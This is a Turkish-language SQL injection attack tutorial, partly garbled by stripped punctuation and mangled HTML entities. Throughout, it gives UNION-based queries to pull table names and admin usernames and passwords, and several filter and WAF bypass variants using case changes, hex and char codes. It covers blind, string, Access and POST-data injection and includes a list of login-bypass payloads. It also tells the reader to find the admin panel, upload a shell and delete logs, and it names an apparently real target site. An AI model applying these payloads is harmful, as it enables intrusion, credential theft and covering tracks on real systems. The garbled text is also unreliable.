Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

